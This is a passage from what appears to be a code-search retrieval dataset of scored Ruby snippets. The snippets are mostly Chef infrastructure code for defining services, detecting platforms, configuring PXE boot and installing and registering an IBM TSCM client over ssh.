"text": "def service_provider\n base_class = if defined?(Chef::Provider::RunitService)\n Chef::Provider::RunitService\n elsif defined?(Chef::Provider::Service::Runit)\n Chef::Provider::Service::Runit\n else\n raise PoiseService::Error.new('Unable to find runit_service provider class.')\n end\n Class.new(base_class) do\n # Lie about the name.\n def self.name\n superclass.name\n end\n\n def inside_docker?\n # We account for docker already so just lock it to false.\n false\n end\n end\n end",
"title": ""
},
{
"docid": "511996eed483f772b6c9762c931be36f",
"score": "0.5816696",
"text": "def service_rcmd!()\n @service = TAC_PLUS_AUTHEN_SVC_RCMD\n end",
"title": ""
},
{
"docid": "58226f837e9afe3d8e0d04c3b7c8377f",
"score": "0.5754726",
"text": "def dist_service( *args )\n raise \"Include a distro-specific component, e.g. Debian, RHEL\"\n end",
"title": ""
},
{
"docid": "f5287cb0c45824170fac9b9b9737891f",
"score": "0.5747607",
"text": "def create_service(resource, actions)\n service_name = get_service_name()\n\n case resource.service_type\n when \"upstart\"\n service service_name do\n provider Chef::Provider::Service::Upstart\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n when \"init.d\"\n service service_name do\n supports :status => true, :restart => true, :reload => true\n action actions\n end\n else\n raise \"dashing: Unknown service_type '#{resource.service_type}'\"\n end\nend",
"title": ""
},
{
"docid": "0bc411d619ad1fdf89f6428dac0340ea",
"score": "0.57147896",
"text": "def is_yum_platform\n node[:platform_family] == \"rhel\"\nend",
"title": ""
},
{
"docid": "8d12cfe35dee40cee1e31127f29ca09a",
"score": "0.57121056",
"text": "def service(nickname, reserved, distribution, type)\n end",
"title": ""
},
{
"docid": "0d676bd0427742cc5ad10d3cb63d1846",
"score": "0.56773657",
"text": "def register_tscm\n case node['platform']\n when 'redhat'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n if client_id.to_i == -1\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n # check for key required for server authentication\n verify_key\n\n # registering client using ssh command\n execute 'register-node' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n \n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n end\n\n # registering on aix\n when 'aix'\n client_id = shell_out('cat /opt/IBM/SCM/client/client.id').stdout\n\n # check if the key is available; download in case it is not available\n verify_key\n \n Chef::Log.error(client_id.to_i)\n if client_id.to_i == -1\n Chef::Log.info('Registering the TSCM client.......')\n\n # registering the tscm client with server\n Chef::Log.info('Registering TSCM client........')\n\n execute 'register-tscm' do\n command \"ssh -n -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell.exe -File 'C:/TSCM_Automation/TSCM_wrapper.ps1' #{node['tscm']['register_ot']} #{node['tscm']['node_name']} #{node['tscm']['OS_type']} #{node['tscm']['node_IP']}\"\n action :run\n timeout 1800\n end\n\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n\n # checking log files for validating registration\n if ::File.exist?('/opt/IBM/SCM/client/client.log') && ::File.readlines('/opt/IBM/SCM/client/client.log').grep(/Storing obsfucated schedules/)\n Chef::Log.info('Registration Success...........')\n else\n Chef::Log.error('Registration Failed...........')\n end\n else\n Chef::Log.error('TSCM Client: ' + (node['tscm']['node_name']).to_s + ' Already Registered with Object ID : ' + client_id.to_s + '.....................Nothing to do')\n node.default['tscm']['registration_status'] = 'success'\n Chef::Log.error((node['tscm']['registration_status']).to_s)\n end\n end\nend",
"title": ""
},
{
"docid": "be4b78a0e2cdcde78e911fa7e5d26b94",
"score": "0.56123054",
"text": "def service; end",
"title": ""
},
{
"docid": "7509c88086838f8b436a8e2f343429d2",
"score": "0.5609451",
"text": "def initialize(*args)\n super\n @action = :create\n @provider = Chef::Provider::LinodeDomainApi\nend",
"title": ""
},
{
"docid": "09e76c32809583f0aeb0d40be049911f",
"score": "0.55568904",
"text": "def configure_ai_pkg_repo(options,read_only)\n service_base_name = get_ai_service_base_name(options)\n if options['host-os-name'].to_s.match(/SunOS/)\n smf_name = \"pkg/server:#{service_base_name}\"\n message = \"Information:\\tChecking if service \"+smf_name+\" exists\"\n if options['service'].to_s.match(/alt/)\n command = \"svcs -a |grep '#{smf_name}\"\n else\n command = \"svcs -a |grep '#{smf_name} |grep -v alt\"\n end\n output = execute_command(options,message,command)\n if not output.match(/#{smf_name}/)\n message = \"\"\n commands = []\n commands.push(\"svccfg -s pkg/server add #{options['service']}\")\n commands.push(\"svccfg -s #{smf_name} addpg pkg application\")\n commands.push(\"svccfg -s #{smf_name} setprop pkg/port=#{options['publisherport']}\")\n commands.push(\"svccfg -s #{smf_name} setprop pkg/inst_root=#{options['repodir']}\")\n commands.push(\"svccfg -s #{smf_name} addpg general framework\")\n commands.push(\"svccfg -s #{smf_name} addpropvalue general/complete astring: #{options['service']}\")\n commands.push(\"svccfg -s #{smf_name} setprop pkg/readonly=#{read_only}\")\n commands.push(\"svccfg -s #{smf_name} setprop pkg/proxy_base = astring: http://#{options['publisherhost']}/#{options['service']}\")\n commands.push(\"svccfg -s #{smf_name} addpropvalue general/enabled boolean: true\")\n commands.each do |temp_command|\n execute_command(options,message,temp_command)\n end\n refresh_smf_service(options,smf_name)\n add_apache_proxy(options,service_base_name)\n end\n end\n return\nend",
"title": ""
},
{
"docid": "9253e010e0c4500ff75089d05c0c5908",
"score": "0.55485755",
"text": "def service_resource\n find_resource(:systemd_unit, \"#{new_resource.name}.service\") do\n content(\n 'Unit' => {\n 'Description' => \"MongoDB #{new_resource.name} service\",\n 'After' => 'network.target',\n 'Documentation' => 'https://docs.mongodb.org/manual'\n },\n 'Service' => {\n 'User' => new_resource.user,\n 'Group' => new_resource.group,\n 'ExecStart' => \"#{new_resource.daemon_path} --config #{new_resource.config_path}\",\n 'RestartSec' => '3s',\n 'Restart' => 'always',\n 'LimitFSIZE' => 'infinity',\n 'LimitCPU' => 'infinity',\n 'LimitAS' => 'infinity',\n 'LimitNOFILE' => 64000,\n 'LimitNPROC' => 16000\n },\n 'Install' => {\n 'WantedBy' => 'multi-user.target'\n }\n )\n\n triggers_reload true\n\n action :nothing\n end\n end",
"title": ""
},
{
"docid": "4d8000dfe792b633db655e41d5898d90",
"score": "0.5536281",
"text": "def start\n $provider.for($service[:domain].to_sym, $service[:name].to_sym).status= \"Started\" \n end",
"title": ""
},
{
"docid": "350932e2a12587026869b48966454d9d",
"score": "0.5535152",
"text": "def set_service_ids\n service_ids = FP::Vars.services_on_this_instance.join(',')\n Facter.add(:service_ids) { setcode { service_ids} }\nend",
"title": ""
},
{
"docid": "d3f8e174eb5f1a3e6afe160779b604c2",
"score": "0.55350053",
"text": "def dist_install_init_service( name )\n raise \"Include a distro-specific component, e.g. Debian, RHEL\"\n end",
"title": ""
},
{
"docid": "27a61dc0b12064c1ffb8582c698b0b26",
"score": "0.5514859",
"text": "def redhat_based?(node = __getnode)\n %w{rhel fedora}.include?(node[\"platform_family\"])\n end",
"title": ""
},
{
"docid": "061f548a97bb83491919ad6516a7ef4d",
"score": "0.5509729",
"text": "def service_x25!()\n @service = TAC_PLUS_AUTHEN_SVC_X25\n end",
"title": ""
},
{
"docid": "dfd866dc527b3c571f8b134decafc9a2",
"score": "0.5503346",
"text": "def redhat_enterprise_linux?(node)\n node['platform'] == 'enterprise'\n end",
"title": ""
},
{
"docid": "9c87628c88ce47cca77420b42aa26aa6",
"score": "0.55009544",
"text": "def register_node\n case node['platform']\n when 'windows'\n # Create temp directory where we copy/create source files to install tscm agent\n directory \"#{node['tscm']['temp']}\" do\n action :create\n not_if { ::File.directory?('C:\\\\tscm_temp')}\n end\n # copy tscm proxy key of tscm server on Node\n cookbook_file \"#{node['tscm']['temp']}\\\\#{node['tscm']['native_proxykey']}\" do\n source \"#{node['tscm']['native_proxykey']}\"\n action :create\n end\n # fix permissions of client side files keys\n powershell_script 'fix_keyfile_permission' do\n code <<-EOH\n cd 'C:/Program Files/OpenSSH-Win64/'\n Import-Module ./OpenSSHUtils.psd1 -Force \n Repair-UserKeyPermission -FilePath 'C:\\\\tscm_temp\\\\SCM_id_rsa' -Confirm:$false\n EOH\n end\n \n execute 'register-tscm' do\n command \"C:\\\\PROGRA~1\\\\OpenSSH-Win64\\\\ssh.exe -vvv -n -o StrictHostKeyChecking=no -vvv -i #{node['tscm']['temp']}\\\\SCM_id_rsa #{node['tscm']['TSCMProxy_user']}@#{node['tscm']['TSCMProxy_server']}\" + \" powershell.exe -File #{node['tscm']['tscmWrapper_path']} reg #{node['tscm']['hostname']} w2k12 #{node['tscm']['ipaddress']} > #{node['tscm']['register_log']} 2>&1\"\n action :run\n timeout 3600\n end\n ruby_block 'sleep-after-register' do\n block do\n sleep(120)\n end\n action :run\n end\n end\nend",
"title": ""
},
{
"docid": "4188bdc526cfd59703a59176b96cddcf",
"score": "0.54896885",
"text": "def hostname(node)\n \"#{node.to_s}.smartengine.local\"\nend",
"title": ""
},
{
"docid": "dd6ad299951c72085920b0f32964c2aa",
"score": "0.5488502",
"text": "def service_name=(_arg0); end",
"title": ""
},
{
"docid": "186bba1f69e247f4dccfca85a21b3d74",
"score": "0.547593",
"text": "def setup_ubuntu_dns(machine, bootstrap_options, _machine_spec)\n host_lookup = machine.execute_always('host google.com')\n if host_lookup.exitstatus != 0\n if host_lookup.stdout.include?('setlocale: LC_ALL')\n machine.execute_always('locale-gen en_US && update-locale LANG=en_US')\n end\n distro = machine.execute_always(\"lsb_release -i | sed -e 's/Distributor ID://g'\").stdout.strip\n Chef::Log.info \"Found distro:#{distro}\"\n if distro == 'Ubuntu'\n distro_version = machine.execute_always('lsb_release -r | sed -e s/[^0-9.]//g').stdout.strip.to_f\n Chef::Log.info \"Found distro version:#{distro_version}\"\n if distro_version >= 12.04\n Chef::Log.info 'Ubuntu version 12.04 or greater. Need to patch DNS.'\n interfaces_file = '/etc/network/interfaces'\n nameservers = bootstrap_options[:customization_spec][:ipsettings][:dnsServerList].join(' ')\n machine.execute_always(\"if ! cat #{interfaces_file} | grep -q dns-search ; then echo 'dns-search #{bootstrap_options[:customization_spec][:domain]}' >> #{interfaces_file} ; fi\")\n machine.execute_always(\"if ! cat #{interfaces_file} | grep -q dns-nameservers ; then echo 'dns-nameservers #{nameservers}' >> #{interfaces_file} ; fi\")\n machine.execute_always('/etc/init.d/networking restart')\n machine.execute_always('apt-get -qq update')\n end\n end\n end\n end",
"title": ""
},
{
"docid": "916ef4b79140f773acb050a81788a34f",
"score": "0.54671466",
"text": "def configure_xb_pxe_client(client_name,client_ip,client_mac,client_arch,service_name,publisher_host)\n os_version = service_name.split(/_/)[1..2].join(\".\")\n tftp_pxe_file = client_mac.gsub(/:/,\"\")\n tftp_pxe_file = tftp_pxe_file.upcase\n tmp_file = \"/tmp/pxecfg\"\n if service_name.match(/openbsd/)\n tftp_pxe_file = \"01\"+tftp_pxe_file+\".pxeboot\"\n test_file = $tftp_dir+\"/\"+tftp_pxe_file\n pxeboot_file = service_name+\"/\"+os_version+\"/\"+client_arch.gsub(/x86_64/,\"amd64\")+\"/pxeboot\"\n else\n tftp_pxe_file = \"01\"+tftp_pxe_file+\".pxelinux\"\n test_file = $tftp_dir+\"/\"+tftp_pxe_file\n pxeboot_file = service_name+\"/isolinux/pxelinux.0\"\n end\n if File.symlink?(test_file)\n message = \"Removing:\\tOld PXE boot file \"+test_file\n command = \"rm #{test_file}\"\n execute_command(message,command)\n end\n message = \"Creating:\\tPXE boot file for \"+client_name+\" with MAC address \"+client_mac\n command = \"cd #{$tftp_dir} ; ln -s #{pxeboot_file} #{tftp_pxe_file}\"\n execute_command(message,command)\n if service_name.match(/coreos/)\n ldlinux_file = $tftp_dir+\"/\"+service_name+\"/isolinux/ldlinux.c32\"\n ldlinux_link = $tftp_dir+\"/ldlinux.c32\"\n if !File.exist?(ldlinux_link)\n message = \"Copying:\\tFile #{ldlinux_file} #{ldlinux_link}\"\n command = \"cp #{ldlinux_file} #{ldlinux_link}\"\n execute_command(message,command)\n end\n client_dir = $client_base_dir+\"/\"+service_name+\"/\"+client_name\n client_file = client_dir+\"/\"+client_name+\".yml\"\n client_url = \"http://\"+publisher_host+\"/clients/\"+service_name+\"/\"+client_name+\"/\"+client_name+\".yml\"\n pxe_cfg_dir = $tftp_dir+\"/pxelinux.cfg\"\n pxe_cfg_file = client_mac.gsub(/:/,\"-\")\n pxe_cfg_file = \"01-\"+pxe_cfg_file\n pxe_cfg_file = pxe_cfg_file.downcase\n pxe_cfg_file = pxe_cfg_dir+\"/\"+pxe_cfg_file\n vmlinuz_file = \"/\"+service_name+\"/coreos/vmlinuz\"\n initrd_file = \"/\"+service_name+\"/coreos/cpio.gz\"\n file = File.open(tmp_file,\"w\")\n file.write(\"default coreos\\n\")\n file.write(\"prompt 1\\n\")\n file.write(\"timeout 3\\n\")\n file.write(\"label coreos\\n\")\n file.write(\" menu default\\n\")\n file.write(\" kernel #{vmlinuz_file}\\n\")\n file.write(\" append initrd=#{initrd_file} cloud-config-url=#{client_url}\\n\")\n file.close\n message = \"Creating:\\tPXE configuration file \"+pxe_cfg_file\n command = \"cp #{tmp_file} #{pxe_cfg_file} ; rm #{tmp_file}\"\n execute_command(message,command)\n print_contents_of_file(pxe_cfg_file)\n end\n return\nend",
"title": ""
},
{
"docid": "6c1788bc3483f144f0974bd8016f635c",
"score": "0.54533285",
"text": "def populate_ks_pkg_list(options)\n pkg_list = []\n if options['service'].to_s.match(/centos|fedora|rhel|sl_|oel/)\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"@base\")\n end\n pkg_list.push(\"@core\")\n if options['service'].to_s.match(/[a-z]_6/)\n pkg_list.push(\"@console-internet\")\n pkg_list.push(\"@system-admin-tools\")\n end\n if not options['service'].to_s.match(/sl_6|[a-z]_5|fedora/)\n pkg_list.push(\"@network-file-system-client\")\n end\n if options['service'].to_s.match(/centos_[6,7]|fedora|sl_[6,7]/)\n if not options['service'].to_s.match(/fedora_2[3-9]|centos_6/)\n pkg_list.push(\"redhat-lsb-core\")\n if not options['service'].to_s.match(/rhel_[6,7]|oel_[6,7]|centos_7/)\n pkg_list.push(\"augeas\")\n pkg_list.push(\"tk\")\n end\n end\n if not options['service'].to_s.match(/fedora|_[6,7,8]/)\n pkg_list.push(\"ruby\")\n pkg_list.push(\"ruby-irb\")\n pkg_list.push(\"rubygems\")\n pkg_list.push(\"ruby-rdoc\")\n pkg_list.push(\"ruby-devel\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"augeas-libs\")\n pkg_list.push(\"ruby-libs\")\n end\n end\n if not options['service'].to_s.match(/fedora|el_[7,8]|centos_[6,7,8]/)\n pkg_list.push(\"grub\")\n pkg_list.push(\"libselinux-ruby\")\n end\n if options['service'].to_s.match(/el_[7,8]|centos_[7,8]/)\n pkg_list.push(\"iscsi-initiator-utils\")\n end\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"e2fsprogs\")\n pkg_list.push(\"lvm2\")\n end\n if not options['service'].to_s.match(/fedora/)\n pkg_list.push(\"kernel-devel\")\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"automake\")\n pkg_list.push(\"autoconf\")\n pkg_list.push(\"lftp\")\n pkg_list.push(\"avahi\")\n end\n end\n pkg_list.push(\"kernel-headers\")\n pkg_list.push(\"dos2unix\")\n pkg_list.push(\"unix2dos\")\n if not options['service'].to_s.match(/fedora_2[4-9]|centos_6/)\n pkg_list.push(\"zlib-devel\")\n end\n if not options['service'].to_s.match(/fedora/)\n if not options['service'].to_s.match(/centos_6/)\n pkg_list.push(\"libgpg-error-devel\")\n pkg_list.push(\"libxml2-devel\")\n pkg_list.push(\"libgcrypt-devel\")\n pkg_list.push(\"xz-devel\")\n pkg_list.push(\"libxslt-devel\")\n pkg_list.push(\"libstdc++-devel\")\n end\n if not options['service'].to_s.match(/rhel_5|fedora|centos_6/)\n pkg_list.push(\"perl-TermReadKey\")\n pkg_list.push(\"git\")\n pkg_list.push(\"perl-Git\")\n end\n pkg_list.push(\"gcc\")\n pkg_list.push(\"gcc-c++\")\n if not options['service'].to_s.match(/centos_|el_8/)\n pkg_list.push(\"dhcp\")\n end\n pkg_list.push(\"xinetd\")\n pkg_list.push(\"tftp-server\")\n end\n if not options['service'].to_s.match(/el_|centos_/)\n pkg_list.push(\"libgnome-keyring\")\n end\n if not options['service'].to_s.match(/rhel_5/)\n pkg_list.push(\"perl-Error\")\n end\n pkg_list.push(\"httpd\")\n if options['service'].to_s.match(/fedora/)\n pkg_list.push(\"net-tools\")\n pkg_list.push(\"bind-utils\")\n end\n if not options['service'].to_s.match(/fedora|el_8|centos_8/)\n pkg_list.push(\"ntp\")\n end\n pkg_list.push(\"rsync\")\n if options['service'].to_s.match(/sl_6/)\n pkg_list.push(\"-samba-client\")\n end\n end\n return pkg_list\nend",
"title": ""
},
{
"docid": "51a79b6e4544f99b3a3bf05313175e9f",
"score": "0.5437892",
"text": "def server_software; end",
"title": ""
},
{
"docid": "ca655e4fbdc52df229255667aaff37c8",
"score": "0.5420782",
"text": "def fedora_derived?(node = __getnode)\n redhat_based?(node) || node[\"platform_family\"] == \"amazon\"\n end",
"title": ""
},
{
"docid": "6197300070dc5f49ff848142ec60d02b",
"score": "0.54207087",
"text": "def role_puppet_master\n $myxp.get_deployed_nodes('capi5k-init').first\nend",
"title": ""
},
{
"docid": "32afafcfc447b99b2aa2d493ec690df1",
"score": "0.5417807",
"text": "def fedora?(node = __getnode)\n node[\"platform_family\"] == \"fedora\"\n end",
"title": ""
},
{
"docid": "85340fc6cb8103d5767b99443f6345d9",
"score": "0.5413037",
"text": "def jboss_product\n Facter.value(:jboss_product)\n end",
"title": ""
},
{
"docid": "cbed1b66406f3fe0d1c807ec7290168d",
"score": "0.54021865",
"text": "def aws_discovery_bootstrap\n Chef::Log.info(\"etcd_service[#{ new_resource.name }] Setting node_name to #{ node['ec2']['instance_id'] }\")\n new_resource.node_name(node['ec2']['instance_id'])\n new_resource.client_host(node['ec2']['local_hostname'])\n new_resource.peer_host(node['ec2']['local_hostname'])\n\n ## Set our own tags _before_ waiting for peers.\n tag_resource = aws_resource_tag(node['ec2']['instance_id'])\n tag_resource.tags new_resource.aws_tags\n tag_resource.run_action(:update)\n tag_resource.action(:nothing)\n\n aws_wait_for_peers\n end",
"title": ""
},
{
"docid": "76675294f4315e722366727e60b9527f",
"score": "0.53941256",
"text": "def getmyhostname\n mydata = node['private-chef']['backends'].\n merge(node['private-chef']['frontends']).\n select { |k,v| k == node.name }.values.first\n mydata['hostname']\nend",
"title": ""
},
{
"docid": "64e5e01107a4359133c4f664fc86e928",
"score": "0.53918535",
"text": "def service_content\n unit = {\n \"Unit\" => {\n \"Description\" => new_resource.description,\n \"After\" => \"network.target auditd.service\",\n },\n \"Service\" => {\n \"Type\" => \"oneshot\",\n \"ExecStart\" => chef_client_cmd,\n \"SuccessExitStatus\" => [3, 213, 35, 37, 41],\n },\n \"Install\" => { \"WantedBy\" => \"multi-user.target\" },\n }\n\n unit[\"Service\"][\"ConditionACPower\"] = \"true\" unless new_resource.run_on_battery\n unit[\"Service\"][\"CPUQuota\"] = new_resource.cpu_quota if new_resource.cpu_quota\n unit[\"Service\"][\"Environment\"] = new_resource.environment.collect { |k, v| \"\\\"#{k}=#{v}\\\"\" } unless new_resource.environment.empty?\n unit\n end",
"title": ""
},
{
"docid": "4287dbab01e7078db2f8a43cc8a61019",
"score": "0.5383527",
"text": "def set_vars\n #Set up vars with AEM package manager urls, etc.\n vars = {}\n vars[:recursive] = new_resource.recursive ? '\\\\&recursive=true' : \"\"\n vars[:file_name] = \"#{new_resource.name}-#{new_resource.version}\" +\n \"#{new_resource.file_extension}\"\n vars[:download_url] = new_resource.package_url\n vars[:file_path] = \"#{Chef::Config[:file_cache_path]}/#{vars[:file_name]}\"\n vars[:user] = new_resource.user\n vars[:password] = new_resource.password\n vars[:port] = new_resource.port\n vars[:group_id] = new_resource.group_id\n vars[:upload_cmd] = \"curl -s -S -u #{vars[:user]}:#{vars[:password]} -F\" +\n \" package=@#{vars[:file_path]} http://localhost:\" +\n \"#{vars[:port]}/crx/packmgr/service/.json?cmd=upload\"\n vars[:delete_cmd] = \"curl -s -S -u #{vars[:user]}:#{vars[:password]} -X\" +\n \" POST http://localhost:#{vars[:port]}/crx/packmgr/\" +\n \"service/.json/etc/packages/#{vars[:group_id]}/\" +\n \"#{vars[:file_name]}?cmd=delete\"\n vars[:install_cmd] = \"curl -s -S -u #{vars[:user]}:#{vars[:password]} -X\" +\n \" POST http://localhost:#{vars[:port]}/crx/packmgr/\" +\n \"service/.json/etc/packages/#{vars[:group_id]}/\" +\n \"#{vars[:file_name]}?cmd=install#{vars[:recursive]}\"\n vars[:activate_cmd] = \"curl -s -S -u #{vars[:user]}:#{vars[:password]} -X\" +\n \" POST http://localhost:#{vars[:port]}/crx/packmgr/\" +\n \"service/.json/etc/packages/#{vars[:group_id]}/\" +\n \"#{vars[:file_name]}?cmd=replicate\"\n vars[:uninstall_cmd] = \"curl -s -S -u #{vars[:user]}:#{vars[:password]} -X\" +\n \" POST http://localhost:#{vars[:port]}/crx/packmgr/\" +\n \"service/.json/etc/packages/#{vars[:group_id]}/\" +\n \"#{vars[:file_name]}?cmd=uninstall\"\n\n vars\nend",
"title": ""
},
{
"docid": "c1cceb8218ecbfd282084adf44b30a51",
"score": "0.5353828",
"text": "def service_name\n @service_name = \"HelloAgent\"\n end",
"title": ""
},
{
"docid": "e7dea232f33f5f335e6fb196c97063c8",
"score": "0.5349352",
"text": "def metadata_for(node)\n # All nodes handled by this platform are running a debian buster image and we derive their name from their hostname.\n {\n hostname: \"#{node}.hpc_tutorial.org\",\n image: 'debian_10'\n }\n end",
"title": ""
},
{
"docid": "1a484188301cc5b0cb25ffd604e387b9",
"score": "0.534917",
"text": "def service_pt!()\n @service = TAC_PLUS_AUTHEN_SVC_PT\n end",
"title": ""
},
{
"docid": "475a50d353d4bb241ff1cdc06a0eef3a",
"score": "0.53433466",
"text": "def install_tscm\n case node['platform']\n when 'redhat'\n # Create dir to mount\n directory '/opt/IBM/SCM' do\n recursive true\n action :create\n end\n\n #Create SCM logical volume \n node['tscm']['logvols'].each do |logvol|\n lvm_logical_volume logvol['volname'] do\n group node['tscm']['volumegroup']\n size logvol['size']\n filesystem logvol['fstype']\n mount_point logvol['mountpoint']\n end\n end \n # verifying the tscm installation if already exists\n if ::File.exist?(\"#{node['tscm']['installed_dir']}jacclient\")\n install_status = shell_out(\"#{node['tscm']['installed_dir']}jacclient status\").stdout.chop\n if install_status.include?('The Tivoli Security Compliance Manager client is currently running')\n Chef::Log.error('TSCM client already installed on ' + (node['tscm']['node_name']).to_s + '........Nothing to do')\n end\n else\n Chef::Log.info('Installing TSCM ....')\n\n # creating a temporary directory for installinsg TSCM\n tempfolder = '/opt/IBM/tscm_temp'\n\n directory tempfolder.to_s do\n action :create\n end\n\n # get TSCM media to our temp dir\n media = tempfolder + '/' + node['tscm']['base_package'].to_s\n\n remote_file media.to_s do\n source node['tscm']['url'].to_s\n owner 'root'\n group 'root'\n mode '0755'\n action :create_if_missing\n end\n\n # Unpacking TSCM media\n execute 'unpack-media' do\n command 'cd ' + tempfolder.to_s + ' ; ' + ' tar -xf ' + media.to_s\n action :run\n not_if { ::File.exist?(\"#{media}/#{node['tscm']['base_package']}\") }\n end\n\n # run the installation script\n bash 'install-tscm' do\n code <<-EOH\n cd #{tempfolder}\n chmod 744 install_x64.sh\n ./install_x64.sh\n EOH\n end\n\n # copy the ssh key for TSCM to /opt/IBM/\n cookbook_file node['tscm']['key'].to_s do\n source node['tscm']['key_name'].to_s\n owner 'root'\n group 'root'\n mode '400'\n action :create_if_missing\n end\n\n # create temp directory to copy the auditing patching file\n directory node['tscm']['patch_dir'].to_s do\n recursive true\n owner 'root'\n group 'root'\n mode '0744'\n action :create\n end\n\n # copy the powershell script to node system\n cookbook_file node['tscm']['copy_script_path'].to_s do\n source 'copy_script.ps1'\n owner 'root'\n group 'root'\n mode '750'\n action :create\n end\n\n # copy the powershell script to TSCM Server\n bash 'copy-powershell-script-to-tscm-server' do\n code <<-EOH\n scp -C -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['copy_script_path']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/c:/users/scm_auto_usr/\n\t EOH\n live_stream true\n action :run\n end\n\n # run the powershell scripts\n execute 'run-powershell-script' do\n command \"ssh -n -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']} powershell -File 'C:/Users/scm_auto_usr/copy_script.ps1'\"\n live_stream true\n action :run\n end\n\n # copy the audit patching file\n execute 'download-audi-patching-file' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/C:/Users/scm_auto_usr/lssec_secfixdb_all.tar.gz /opt/IBM/SCM/client/software/completed/\"\n live_stream true\n action :run\n not_if { ::File.exist?(node['tscm']['audit_file'].to_s) }\n end\n\n client_pref = shell_out(\"grep 'debug=true' #{node['tscm']['client_pref']} \").stdout.chop\n\n if client_pref.include?('debug=true')\n Chef::Log.info('File Up to date..........Nothing to do')\n else\n # update the client.pref file to debug mode\n execute 'update-client.pref' do\n command \"sed -i -e 's/debug=false/debug=true/' #{node['tscm']['client_pref']}\"\n action :run\n end\n\n # restarting TSCM agent service for changes to take effect\n service node['tscm']['service_name'].to_s do\n action :stop\n end\n\n service node['tscm']['service_name'].to_s do\n action :start\n end\n end\n end\n\n # installing on aix\n when 'aix'\n Chef::Log.info('Installing TSCM on AIX platform...........')\n\n if ::File.exist?(\"#{node['tscm']['installed_dir']}jacclient\")\n install_status = shell_out(\"#{node['tscm']['installed_dir']}jacclient status\").stdout.chop\n if install_status.include?('HCVIN0033I The Tivoli Security Compliance Manager client is currently running')\n Chef::Log.error('TSCM client already installed on ' + (node['tscm']['node_name']).to_s + '........Nothing to do')\n end\n else\n Chef::Log.info('TSCM not installed ........Installing TSCM ')\n\n # creating temporary directory for copying tscm binaries\n tempfolder = '/opt/IBM/tscm_software'\n\n directory tempfolder.to_s do\n action :create\n not_if { ::File.exist?(tempfolder.to_s) }\n end\n\n media = tempfolder.to_s + '/' + (node['tscm']['base_package']).to_s\n node.default['tscm']['package_name'] = (node['tscm']['base_package']).to_s.chomp('.tar')\n\n # downloading binaries from the url\n remote_file media.to_s do\n source node['tscm']['url'].to_s\n owner 'root'\n mode '0755'\n action :create_if_missing\n end\n\n # creating prerequisite FS\n # create volume group ibmvg as mandatory requirement\n execute 'create-VG-ibmvg' do\n command 'mkvg -f -y ibmvg hdisk1'\n action :run\n returns [0, 1]\n not_if { shell_out('lsvg | grep ibmvg').stdout.chop != '' }\n end\n\n # required FS\n volumes = [\n { lvname: 'lv_scm', fstype: 'jfs2', vgname: 'ibmvg', size: 500, fsname: '/opt/IBM/SCM' },\n ]\n # Custom FS creation\n volumes.each do |data|\n ibm_tscm_makefs \"creation of #{data[:fsname]} file system\" do\n lvname data[:lvname]\n fsname data[:fsname]\n vgname data[:vgname]\n fstype data[:fstype]\n size data[:size]\n end\n end\n\n # Unpacking TSCM media\n execute 'unpack-media' do\n command 'cd ' + tempfolder.to_s + ' ; ' + ' tar -xf ' + media.to_s\n action :run\n not_if { ::File.exist?(media.to_s + node['tscm']['package_name'].to_s + 'install_aix6.sh') }\n end\n\n # run the installation script\n bash 'install-tscm' do\n code <<-EOH\n cd #{tempfolder}\n chmod +x install_aix6.sh\n ./install_aix6.sh \n EOH\n end\n\n # copy the ssh key for TSCM to /opt/IBM/ directory\n cookbook_file node['tscm']['key'].to_s do\n source node['tscm']['key_name'].to_s\n owner 'root'\n mode '400'\n action :create_if_missing\n end\n\n # create temp directory to copy the auditing patching file\n directory node['tscm']['patch_dir'].to_s do\n recursive true\n owner 'root'\n mode '0744'\n action :create\n end\n\n # copy the audit patching file\n execute 'download-audi-patching-file' do\n command \"scp -o StrictHostKeyChecking=no -i #{node['tscm']['key']} #{node['tscm']['proxy_user']}@#{node['tscm']['proxy_server']}:/C:/PROGRA~1/IBM/SCM/client/software/completed/lssec_secfixdb_all.tar.gz /opt/IBM/SCM/client/software/completed/\"\n action :run\n not_if { ::File.exist?(node['tscm']['audit_file'].to_s) }\n end\n\n # changing log-level to debug mode\n client_pref = shell_out(\"grep 'debug=true' #{node['tscm']['client_pref']} \").stdout.chop\n\n if client_pref.include?('debug=true')\n Chef::Log.info('File Up to date..........Nothing to do')\n else\n # update the client.pref file to debug mode\n execute 'update-client.pref' do\n command \"sed -e 's/debug=false/debug=true/g' #{node['tscm']['client_pref']}\"\n action :run\n end\n\n # restarting TSCM agent service for changes to take effect\n execute 'restart-tscm-service' do\n command '/opt/IBM/SCM/client/jacclient restart'\n action :run\n end\n end\n end\n end\nend",
"title": ""
},
{
"docid": "3d4b50c5461403562aad354b43746294",
"score": "0.5338744",
"text": "def type\n :puppet_provider\n end",
"title": ""
},
{
"docid": "8b0b6b34d29cbf3f855620afeec3b31b",
"score": "0.5308579",
